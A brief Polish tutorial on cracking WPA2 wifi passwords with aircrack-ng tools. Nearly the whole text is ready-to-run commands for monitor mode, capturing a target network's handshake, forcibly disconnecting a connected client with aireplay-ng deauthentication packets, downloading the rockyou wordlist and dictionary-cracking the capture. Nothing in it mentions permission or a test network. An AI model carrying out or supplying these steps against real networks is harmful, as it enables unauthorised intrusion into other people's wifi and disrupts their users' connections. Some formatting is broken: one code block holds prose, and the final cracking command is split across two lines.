# Łamanie haseł WPA2

Sprawdzenie czy karta wifi obsługuje tryb monitorowania

```
airmon-ng
```

Przełączamy kartę sieciową wlan0 w tryb monitorowania

```
airmon-ng start wlan0
```

Nazwa karty wlan0 zmienia się w wlan0mon - możemy to zweryfikować wpisując

```
iwconfig
```

Rozpoczynamy skanowanie wszystkich dostępnych sieci wifi i kopiujemy BSSID (AA:AA:AA:AA:AA:AA) sieci której hasło chcemy złamać # opcjonalnie możemy skopiować ID podłączonego klienta (CC:CC:CC:CC:CC:CC), aby wykorzystać go do wymuszenia handshake'a poprzez odłączenie go od wifi

```
airodump-ng wlan0mon
```

Rozpoczynamy zrzucanie wszystkich pakietów interesującej nas sieci czekając aż pojawi się handshake.
X = kanał na którym nadaje sieć

```
airodump-ng -c X --bssid AA:AA:AA:AA:AA:AA -w ~/Pulpit/ wlan0mon
Opcjonalnie możemy otworzyć nowy terminal (bez przerywania zbierania pakietów w pierwszym oknie) i wykonać deautoryzację klienta podłączonego do atakowanej sieci wifi, aby wymusić handshake (mamy nadzieję, że klient ma zapisane hasło i włączone automatyczne wznawianie połączenia).
aireplay-ng -0 2 -a AA:AA:AA:AA:AA:AA -c CC:CC:CC:CC:CC:CC wlan0mon
```

Zmieniamy nazwę pliku z przechwyconymi pakietami z -01.cap na *hackme.cap*

```
mv ~/Pulpit/-01.cap ~/Pulpit/hackme.cap
```

Pobieramy słownik haseł i zapisujemy go jako dictionary.txt

```
curl -L -o ~/Pulpit/dictionary.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
```

Szukamy hasła. Parametr -a2 mówi, że mamy do czynienia z WPA2.

```
aircrack-ng -a2 -b AA:AA:AA:AA:AA:AA -w
~/Pulpit/dictionary.txt ~/Pulpit/hackme.cap
```

Po zakończeniu pracy przywracamy kartę sieciową z trybu monitorowania do trybu normalnego

```
airmon-ng stop wlan0mon
```